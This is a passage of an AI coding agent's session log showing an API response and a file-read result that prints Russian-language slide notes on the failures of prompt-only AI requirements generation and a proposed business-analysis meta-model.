[STDOUT] [log_8d2fee] response start {\n[2026-09-29T08:03:25.547Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:25.553Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:25.558Z] [STDOUT]   headers: {\n[2026-09-29T08:03:25.566Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:25.571Z] [STDOUT]     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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:25.846Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:25.848Z] [STDOUT]   body: X {\n[2026-09-29T08:03:25.850Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:25.854Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:25.856Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:25.859Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:25.861Z] [STDOUT]     },\n[2026-09-29T08:03:25.864Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:25.867Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:25.870Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:25.873Z] [STDOUT]   },\n[2026-09-29T08:03:25.876Z] [STDOUT]   durationMs: 1260,\n[2026-09-29T08:03:25.878Z] [STDOUT] }\n[2026-09-29T08:03:25.881Z] [INFO] {\n[2026-09-29T08:03:25.881Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:25.881Z] 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\u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\",\n[2026-09-29T08:03:28.674Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:28.674Z] [INFO]       }\n[2026-09-29T08:03:28.674Z] [INFO]     ]\n[2026-09-29T08:03:28.674Z] [INFO]   },\n[2026-09-29T08:03:28.674Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:28.674Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:28.674Z] [INFO]   \"uuid\": \"f68a7241-f434-43f5-86a2-9d0f98acef13\",\n[2026-09-29T08:03:28.674Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:28.666Z\",\n[2026-09-29T08:03:28.674Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:28.674Z] [INFO]     \"stdout\": \"## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 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\u0434\u0430\u0432\u0430\u0442\u044c 